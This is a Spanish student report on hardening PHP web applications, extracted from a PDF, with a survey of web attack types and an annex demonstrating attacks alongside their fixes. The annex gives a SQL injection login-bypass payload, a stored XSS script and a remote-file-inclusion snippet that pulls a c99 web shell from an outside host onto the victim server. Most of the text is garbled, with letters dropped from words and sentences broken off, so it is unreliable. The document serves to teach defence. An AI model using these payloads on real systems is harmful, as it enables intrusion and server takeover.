Académique Documents
Professionnel Documents
Culture Documents
ENDURECIMIENTO DE
INTEGRANTES
APLICACIONES RIVERA SEGURA WALTER
FABIAN CORONEL CAROL
QUIJADA VILLEGAS JUAN
RAFAEL LARREA KLEIN
01/01/2017
SEGURIDAD EN SISTEMAS DE INFORMACIN EMPRESARIAL
Pgin 1
ENDURECIMIENTO DE APLICACIONES
Pgin 2
ENDURECIMIENTO DE APLICACIONES
Contenido
Informcion del Grupo ___________________________________________________________________________________ 2
RESUMEN EJECUTIVO____________________________________________________________________________________ 4
DESCRIPCION _____________________________________________________________________________________________ 6
BENEFICIOS_______________________________________________________________________________________________ 7
FACTORES PARA SU IMPLEMENTACION _______________________________________________________________ 8
CASOS DE EXITO__________________________________________________________________________________________ 9
EVOLUCION Y FUTURO ________________________________________________________________________________ 10
PRINCIPIOS DE SEGURIDAD ___________________________________________________________________________ 12
Por que son comprometidos los sitios WEB? _______________________________________________________ 13
TECNICAS DE ATAQUES A ORDENADORES __________________________________________________________ 14
CONCLUSIONES ________________________________________________________________________________________ 37
Pgin 3
ENDURECIMIENTO DE APLICACIONES
RESUMEN EJECUTIVO
El siguiente informe describe ls diferentes vulnerbiliddes que sufren los sistems, en especil de
rquitectur web debido que estn sujetos culquier tcnte que teng cceso internet y conozc l
Dentro del mrco conceptul se describe los tipos de tques que pueden sufrir los sistems, como se podr
ver existen numeross tecnics de tque los que hce ltmente probble que lgunos sistems no
consideren lguno de ellos y s trde o temprno terminen siendo tcdos por lgun de est.
Pr l pliccion se considero un sitio web lojdo en un mquin locl, y se usrn 3 tecnics de tque
pr nlizr l vulnerbilidd y s mismo indicr como podemos corregir dich vulnerbilidd dejndo
nuestro sistem ms seguro. El lenguje que se h elegido es PHP por ser el ms comun pr construir
sistems web.
L primer tecnic es llmd Inyeccion SQL, l cul se bs en intentr cceder l bse de dtos de l vctim
y tener cceso sus dtos est vulnerbilidd es lgo comun en plicciones hechs por novtos en l
progrmcion. Un pliccion bstnte comun de este tipo de tsque es relizr un bypss l login de un
sistem vulnerble. L solucion pr evitr este tque es utilizr un mecnismo llmdo sentencis
L segund tecnic es llmd tque XSS. Existen tres subtipos, pero se opto por hcer l demostrcion con
el que gener ms dno como es XSS persistente o directo que consiste en inyectr lgun payload (script) l
bse de dtos del servidor y se ejecutr cundo otros clientes hgn lgun peticion dich bse de dtos.
L solucion no ps por usr lgun funcion sencill pr descrtr el ingreso de etiquets html.
L tercer tecnic es llmd RFI (inclusion de rchivo remoto) es un tipo de tque que gener ms dno l
servidor tcdo debido que puede tomr el control totl de este. No solo tendr cceso su bse de dtos,
Pgin 4
ENDURECIMIENTO DE APLICACIONES
sino que tod l informcion de su mquin y otrs ms que este n conectdos en su mism red. Pr ello
solo necesitmos un bckdoor de los muchos que existen en l red y colocrlo en el servidor de l vctim.
Est vulnerbilidd se gener por l ml prctic en el uso de l funcion include dentro del codigo fuente. L
solucion requiere por el ldo del codigo fuente es que ntes de crgr un rchivo de codigo fuente debemos
cerciorrnos que ese rchivo se uno que relmente exist en nuestro sitio y no se un rchivo jeno l sitio
(desde otr mquin remotmente) y l solucion por ldo del servidor web es ctivndo un prmetro en el
rchivo de configurcion.
Un vez que se demuestren ls vulnerbiliddes mostrremos como podemos corregir nuestro codigo fuente
Cbe mencionr que existen herrmients ms vnzds pr relizr tques ms complejos sistems
como el sistem opertivo klilinux que nos provee de un rsenl de herrmients pr relizr Pentesting.
Pgin 5
ENDURECIMIENTO DE APLICACIONES
DESCRIPCION
Muchos sistems estn expuestos "gujeros" de seguridd que son explotdos pr cceder
rchivos, obtener privilegios o relizr sbotje. Ests vulnerbiliddes ocurren por vrids rzones, y miles
protocolos de red, browsers de Internet, correo electronico y tods clses de servicios informtico disponible.
Los Sistems opertivos biertos (como Unix y Linux) tienen gujeros ms conocidos y controldos
que quellos que existen en sistems opertivos cerrdos (como Windows). L importnci (y ventj) del
codigo bierto rdic en miles de usurios nlizn dicho codigo en busc de posibles bugs y yudn obtener
seguridd (y herrmients de Hcking que los explotn), por lo que hoy tmbien se hce indispensble contr
con productos que conocen ess debiliddes, puedn dignosticrls y ctulizr el progrm fectdo con el
prche decudo.
En el presente trbjo hblremos de l seguridd desde el punto de vist del progrmdor, es decir,
de quello que tenemos que tener en cuent en ls etps de diseno y codificcion de los progrms.
Describiremos lgunos errores de progrmcion hbitules que tienen implicciones desde el punto
Pgin 6
ENDURECIMIENTO DE APLICACIONES
BENEFICIOS
Gener lerts de seguridd de form temprn.
Pgin 7
ENDURECIMIENTO DE APLICACIONES
Tiempo: dependiendo del tmno de l pliccion el tiempo que tomr modificr cierts funciones
o mecnismos de cceso l servidor de bse de dtos puede conllevr muchs hors de trbjo pr
Cultural: El tque ls plicciones no solo se d por l flt de experienci o mls prctics del
responsble del personl de l empres (evitr comprtir clves, evitr dr informcion extrnos,
evitr gurdr clves en hojs de ppel, etc.), de nd servir tener un sistem seguro si los
Pgin 8
ENDURECIMIENTO DE APLICACIONES
CASOS DE EXITO
FREDRICKSON INTERNATIONAL:
significtivmente el tiempo que tom hcer l ofert pr los contrtos y h ofrecido confinz l mercdo
Tmbien proporcion TSS con un importnte diferencil de mercdo que h trdo nuevos negocios.
Pgin 9
ENDURECIMIENTO DE APLICACIONES
EVOLUCION Y FUTURO
LA INTELIGENCIA ARTIFICIAL EL FUTURO DEL HACKING Y ANTI HACKING
No muchs persons lo recuerdn, pero en sus principios, los virus empezron siendo un juego entre
progrmdores, que crebn codigos cuy principl funcion er utoreplicrse en el limitdo espcio de
memori de lgunos sistems (hblo de memori de nucleos mgneticos, o memori de toros, como tmbien
er conocid) y, dems, eliminr su rivl (otro codigo credo con el mismo fin). As, un vez credos, los
contendientes se tenn que enfrentr entre s sin que sus credores pudiern intervenir en el proceso. Er,
por s decirlo, mquin contr mquin, y los humnos se limitbn l ppel de observdores, como si
estuviern presencindo lgun tipo de competicion deportiv. Y tl y como plnte hoy Computerworld, y
grcis los vnces de l inteligenci rtificil, el futuro del hcking podr tener un specto similr.
Todv flt mucho tiempo pr que eso ocurr, nos o, ms probblemente, decds. Sin embrgo, tiene
todo el sentido del mundo pensr en un futuro en el que un lbor bsd en el prendizje constnte, pued
llegr ser desrrolld por ls mquins mejor que por los hombres. Hce unos meses, en gosto, los
orgnizdores del evento de seguridd Cyber Grnd Chllenge, cuyo principl ptrocindor es l genci
enfrentron entre ellos, trtndo de identificr sus principles problems de seguridd, s como l mner
ms eficz de solucionrlos. Hst qu fenomenl, clro. Pero, que ocurrir si es tecnolog ce en mls
mnos?
L inteligenci rtificil puede suponer un grn vnce en cuestiones de seguridd, y ls principles empress
de este sector y lo sben y llevn mucho tiempo trbjndo en ello, pero los expertos en ciberseguridd y
llevn un tiempo lertndo sobre l cruz de que estos vnces cign en mls mnos. Especilmente, clro,
Pgin 10
ENDURECIMIENTO DE APLICACIONES
si tenemos en cuent que l conectividd y los sistems electronicos llegn cd vez ms spectos de
nuestrs vids. Un escenrio en el que ls mquins se enfrentn ls mquins, y quells dotds de los
Pgin 11
ENDURECIMIENTO DE APLICACIONES
PRINCIPIOS DE SEGURIDAD
Objetivos
En generl se suele decir que los tres objetivos fundmentles de l seguridd informtic son:
Confidencilidd; el cceso los ctivos del sistem est limitdo usurios utorizdos.
Integridd; los ctivos del sistem solo pueden ser borrdos o modificdos por usurios utorizdos.
Disponibilidd; el cceso los ctivos en un tiempo rzonble est grntizdo pr usurios
utorizdos.
Pgin 12
ENDURECIMIENTO DE APLICACIONES
Fallas en los
Configuraciones
procedimeintos y
por omisin
polticas
Pgin 13
ENDURECIMIENTO DE APLICACIONES
FUERZA BRUTA
AUTENTICACION INSUFICIENTE
Pgin 14
ENDURECIMIENTO DE APLICACIONES
especficos online, ests plicciones web no debern ser directmente ccesibles sin
requerir de l form propid l verificcion de l identidd del usurio.
En el mbito de l configurcion de l
utenticcion, lgunos recursos son protegidos
ocultndo l ubiccion especfic y no
enlzndo su ubiccion en el sitio web principl u
otrs zons publics. Sin embrgo, est ctucion
no es ms que seguridd trves de oscuridd.
Es importnte entender que simplemente porque
un recurso es desconocido pr un tcnte, no
implic que este recurso no permnezc
ccesible directmente trves de un URL
especfic. Est URL puede ser descubiert trves de pruebs de fuerz brut sobre
ubicciones comunes de ficheros y directorios (/dmin por ejemplo), mensjes de error,
logs o quizs recursos documentdos en ficheros de yud. Estos recursos, y sen
contenidos o funcionliddes, deben ser decudmente protegidos.
Ejemplo
Y que el usurio o desrrolldor nunc espero que lguien pudier ver est pgin, el
ndido de utenticcion es psdo por lto en muchs ocsiones. Si un tcnte
simplemente visitr est pgin, obtendr cceso completo de dministrcion l sitio
web.
Pgin 15
ENDURECIMIENTO DE APLICACIONES
POR AUTORIZACION
Cubre los tques que tienen como objetivo un metodo de los sitios web pr determinr si un
usurio, servicio o pliccion tiene los permisos necesrios pr ejecutr un ccion solicitd.
Por ejemplo, muchos sitios web solo debern permitir ciertos usurios cceder contenidos
o funcionliddes especficos. Otrs veces, un cceso de usurio otros recursos puede estr
restringido. Usndo vris tecnics, un tcnte puede introducirse dentro de un sitio web
incrementndo sus privilegios hci res protegids.
Pgin 16
ENDURECIMIENTO DE APLICACIONES
PREDICCION DE CREDENCIALES/SESION
L prediccion de
credenciles/sesion es un metodo
de secuestro o suplntcion de un
usurio de un sitio web. Deduciendo o
divinndo el vlor unico que
identific un usurio o sesion
prticulr se logr el tque.
Tmbien conocido como secuestro
de sesion, ls consecuencis podrn
permitir los tcntes l cpcidd
de emitir peticiones l sitio web con
los privilegios del usurio
comprometido.
Pgin 17
ENDURECIMIENTO DE APLICACIONES
AUTORIZACION INSUFICIENTE
Ddo que HTTP es un protocolo sin estdo, los sitios web comunmente usn los
IDs de sesion pr identificr de form unic un usurio de un peticion de otr.
Consecuentemente, cd ID de sesion debe ser mntenido confidencilmente con el
objetivo de prevenir que multiples usurios ccedn l mism cuent. Un ID de sesion
robdo puede ser usdo pr ver otrs cuents de usurio o relizr un trnsccion
frudulent.
Pgin 18
ENDURECIMIENTO DE APLICACIONES
FIJACION DE SESION
Pgin 19
ENDURECIMIENTO DE APLICACIONES
permisivos, ls sesiones de IDs rbitrrios son mntenids sin contctr con el sitio web.
Los sistems estrictos requieren que el tcnte mnteng l sesion trmp con
contctos periodicos l sitio web previniendo los excesos de tiempo por inctividd.
Sin proteccion ctiv contr l fijcion de sesion, el tque puede ser montdo
contr culquier sitio web usndo sesiones pr identificr los usurios utenticdos.
Los sitios web que usn IDs de sesion normlmente estn bsdos en cookies, pero ls
URLs y los cmpos ocultos de formulrio tmbien se usn.
Pgin 20
ENDURECIMIENTO DE APLICACIONES
SUPLANTACIN DE CONTENIDO
Este tque explot l confinz estblecid entre el usurio y el sitio web. L tecnic h
sido usd pr crer pgins web flss incluyendo formulrios de utenticcion,
desfigurciones de pgins web y flsos comunicdos
CROSS-SITE SCRIPTING
Pgin 21
ENDURECIMIENTO DE APLICACIONES
- Indirecta (Reflejada): Este tipo de XSS es muy fcil de encontrr en motores de busqued
sobre todo, en est el codigo se inyect trves de formulrios, URL, cookies, progrms
en Flsh o incluso en vdeos. Est vulnerbilidd es ms dificil scrle provecho y que
tenemos que conseguir que lguien entre en el enlce mlicioso, ms delnte se ver lo
que es un enlce mlicioso.
EJECUCION DE COMANDOS
Abrc los tques disendos pr ejecutr comndos remotos en el sitio web. Todos los
sitios web utilizn dtos suministrdos por el usurio pr stisfcer peticiones. A menudo los
dtos fcilitdos por el usurio son usdos pr crer comndos de construccion resultndo en
contenido dinmico de un pgin web. Si este proceso es hecho de form no segur, un tcnte
puede lterr l ejecucion de comndos.
DESBORDAMIENTO DE BUFFER
Pgin 22
ENDURECIMIENTO DE APLICACIONES
defecto comun del softwre, que result en un condicion de error. Est condicion de error
ocurre cundo los dtos escritos en l memori exceden el tmno reservdo en el buffer.
Cundo el buffer es desborddo, direcciones de memori dycentes son sobreescrits
cusndo que el softwre flle o termine de mner inesperd. Cundo es sin restriccion
el ingreso de dtos, relizdo de un mner determind, puede ser usdo pr desbordr
el buffer resultndo en vrios problems de seguridd.
Pgin 23
ENDURECIMIENTO DE APLICACIONES
Ls vulnerbiliddes ocurren cundo los dtos fcilitdos por el usurio son usdos
directmente como prmetros de formto de cdens de cierts funciones de C/C++ (por
ejemplo: fprintf, printf, sprintf, setproctitle, syslog, ...).
INYECCION LDAP
Pgin 24
ENDURECIMIENTO DE APLICACIONES
Pgin 25
ENDURECIMIENTO DE APLICACIONES
Pgin 26
ENDURECIMIENTO DE APLICACIONES
INYECCION XPATH
Pgin 27
ENDURECIMIENTO DE APLICACIONES
REVELACION DE INFORMACION
INDEXACION DE DIRECTORIO
FUGA DE INFORMACION
L fug de informcion se produce cundo un sitio web revel informcion sensible, como
comentrios de los desrrolldores o mensjes de error, que puede yudr un tcnte
pr explotr el sistem.
Pgin 28
ENDURECIMIENTO DE APLICACIONES
PATH TRAVERSAL
ATAQUES LOGICOS
ABUSO DE FUNCIONALIDAD
DENEGACION DE SERVICIO
ANTI-AUTOMATIZACION INSUFICIENTE
L nti-utomtizcion insuficiente se produce cundo un sitio web permite un
tcnte utomtizr un proceso que solo debe ser llevdo cbo mnulmente.
Pgin 29
ENDURECIMIENTO DE APLICACIONES
Ataques lgicos
Se centr en el buso o explotcion del flujo logico de un pliccion web. L logic de l
pliccion es el flujo de procedimientos esperdos pr relizr un ciert ccion. Recupercion
de contrsens, lt de un cuent, puj en substs, y comprs en comercios electronicos son,
todos ellos, ejemplos de logic de pliccion. Un sitio web puede requerir un usurio un proceso
especfico de vrios psos pr completr un ccion prticulr. Un tcnte puede ser cpz de
burlr o busr de ess crcterstics pr dnr un sitio web y sus usurios.
RFI (Remote File Inclusion), trducido l espnol como Inclusion Remot de Archivos -
vulnerbilidd existente solmente en pgins dinmics en PHP que permite el enlce de rchivos
remotos situdos en otros servidores cus de un ml progrmcion de l pgin que contiene
l funcion include().
PREVENIR EL ATAQUE
Pr prevenir este tipo de tques, es posible utilizr o bien el indicdor "./" pr dvertir
que el rchivo debe encontrrse en el directorio ctul u otro indicdor tl como "includes/".
De est form no podr utilizr l vrible pge pr RFI.. unque nos podri hcer
vulnerbles que un tcnte incluy rchivos en el servidor donde estmos.
El misil de Dhahran
En febrero 1991 (1 Guerr del Golfo), un misil irqu lcnzo l bse de Dhhrn en Arbi
Sud, mtndo 28 solddos estdounidenses.
Pgin 30
ENDURECIMIENTO DE APLICACIONES
vlores del reloj digitl de un form mnim. Sin embrgo, este error mnimo hizo que se
cumulr un retrso de de segundo l cbo de dichs 100 hors.
Pgin 31
ENDURECIMIENTO DE APLICACIONES
L sonda Mars Climate Orbiter fue lnzd en el no 1998 con el objetivo de estudir el
clim en Mrte, si bien, est nunc logro cumplir su mision.
Trs vrios meses vijndo por el espcio, l sond se destruyo por cus de un error de
nvegcion: los equipos que controlbn l sond desde l Tierr usb prmetros en uniddes
Imperiles (Sistem Anglosjon de Uniddes) mientrs que los clculos se relizbn en el sistem
con el sistem metrico deciml. Estos errores de clculo fueron impctndo l tryectori lo lrgo
de los ds y, finlmente, l sond quedo destruid l psr por l tmosfer de Mrte (con csi 100
km de error).
Pgin 32
ENDURECIMIENTO DE APLICACIONES
ABUSO DE FUNCIONALIDAD
El buso de funcionlidd es un tecnic de tque que us ls propis
crcterstics y funcionlidd de un sitio web pr consumir, defrudr, o burlr los
mecnismos de control de cceso. Un funcionlidd de un sitio web, incluso
posiblemente crcterstics de seguridd, puede ser busd pr cusr un
comportmiento inesperdo. Cundo un prte de l funcionlidd se encuentr biert
l buso, un tcnte podr potencilmente molestr otros usurios o quizs llevr
cbo un frude sobre el sistem completo. El potencil y el nivel de buso vrir de un
sitio web otro y de un pliccion
otr.
DENEGACION DE SERVICIO
Pgin 33
ENDURECIMIENTO DE APLICACIONES
Muchs veces los tques DoS intentrn consumir todos los recursos disponibles
del sistem tles como: CPU, memori, espcio de disco, etc. Cundo uno de esos recursos
lcnce un consumo mximo, el sitio web normlmente psr estr inccesible.
Pgin 34
ENDURECIMIENTO DE APLICACIONES
ANTI-AUTOMATIZACION INSUFICIENTE
Por ejemplo un robot utomtizdo, no deber ser cpz de vlidr diez mil nuevs
cuents en unos pocos minutos. Similrmente, robots utomtizdos no debern ser
cpz de molestr otros usurios con mensjes repetidos en foros. Ests operciones
debern estr limitds solo pr el uso humno.
Pr que los procesos multi-pso funcionen propidmente, los sitios web se les
requiere mntener el estdo del usurio, y como nveg este trves de los flujos del
proceso. Los sitios web normlmente indicn el estdo del usurio trves del uso de
Pgin 35
ENDURECIMIENTO DE APLICACIONES
Pgin 36
ENDURECIMIENTO DE APLICACIONES
CONCLUSIONES
1. Ls forms de poder tcr y cceder ordendores jenos son muchs, hoy en d los
pliccion web, y cd uno de los usurios son quienes deben protegerse de los
tques jenos.
difundir por l red todo tipo de rchivos infectdos con virus, lo cul suele suceder
6. Pese todo lo que estmos mencionndo de los prentes peligros de internet, tiene que
quedr clro que nvegr por internet no es peligroso, ni se corre ningun riesgo l hcerlo.
comun.
7. L ide principl de este tem fue dr conocer que internet est plgd de pesdills
temer como muchos piensn, y tmpoco deben sustrnos tnto los cbllos de Troy,
comerciles y sobre todo los que son cpces de crer estos progrms
Pgin 37
ENDURECIMIENTO DE APLICACIONES
APLICACION Y ANEXOS
I. ATAQUE DE INYECCIN SQL
ARCHIVO: UPLA/index.php
$consult = "SELECT * FROM gx_user WHERE dni = '" . $usurio . "' AND `contrsen` = '" .
$contrsen . "'";
Pgin 38
ENDURECIMIENTO DE APLICACIONES
Pgin 39
ENDURECIMIENTO DE APLICACIONES
$consult = "SELECT * FROM gx_user WHERE dni = '" . $usurio . "' AND `contrsen` = MD5('" .
$contrsen . "')";
Pgin 40
ENDURECIMIENTO DE APLICACIONES
SELECT * FROM gx_user WHERE dni = 'asdf' OR 'a'='a'#. "' AND `contrasena` = MD5('" . $contrasena .
"')";
Pgin 41
ENDURECIMIENTO DE APLICACIONES
Pgin 42
ENDURECIMIENTO DE APLICACIONES
$consult = "SELECT * FROM gx_user WHERE dni = :dni AND contrsen = MD5(:contrsen)";
$pstm = $conn->prepre($consult);
$pstm->bindPrm(':dni',$usurio,PDO::PARAM_STR);
$pstm->bindPrm(':contrsen',$contrsen,PDO::PARAM_STR);
$pstm->execute();
$resultdo = $pstm->fetchAll();
Pgin 43
ENDURECIMIENTO DE APLICACIONES
ARCHIVO:
UPLA/contrato/ sql_insert_resolucion_consejo_universitario
UPLA/contrato/ listar_resoluciones_consejo_universitario.php
Pgin 44
ENDURECIMIENTO DE APLICACIONES
$numero_resolucion=$_POST["numero_resolucion"];
<script>alert("sistema atacado");</script>
Pgin 45
ENDURECIMIENTO DE APLICACIONES
$numero_resolucion=strip_tgs($_POST["numero_resolucion"]);
<script>alert("sistema atacado");</script>
Pgin 46
ENDURECIMIENTO DE APLICACIONES
Pgin 47
ENDURECIMIENTO DE APLICACIONES
ARCHIVO:
UPLA/contrato/ sql_insert_resolucion_consejo_universitario
UPLA/contrato/ listar_resoluciones_consejo_universitario.php
UPLA/info.php
Pgin 48
ENDURECIMIENTO DE APLICACIONES
Pgin 49
ENDURECIMIENTO DE APLICACIONES
3.2 Creamos un cdigo sencillo que permite copiar nuestra Shell al sitio web de la vctima, pero
con la extensin php.
<?php
$z=fopen('./shell.php','w');fwrite($z,file_get_contents('http://pruebtesting.000webhostpp.co
m/tque/c99.txt'));fclose($z);
?>
Pgin 50
ENDURECIMIENTO DE APLICACIONES
Pgin 51
ENDURECIMIENTO DE APLICACIONES
Vemos que estamos usando mtodo get y usando como parmetros un archivo php
http://localhost/upla/info.php?page=mision.php
http://localhost/upla/info.php?page=vision.php
Pgin 52
ENDURECIMIENTO DE APLICACIONES
3.6 Con esto lo que logramos es crear un archivo llamado Shell.php que contiene el contenido del
archivo c99.txt y lo almacenamos en la raz del sitio web de la victima.
3.7 Por ultimo ejecutamos el archivo: Shell.php para poder manipular el servidor de la vctima.
http://loclhost/upl/shell.php
Pgin 53
ENDURECIMIENTO DE APLICACIONES
Pgin 54
ENDURECIMIENTO DE APLICACIONES
allow_url_fopen = off
Pgin 55
ENDURECIMIENTO DE APLICACIONES
Pgin 56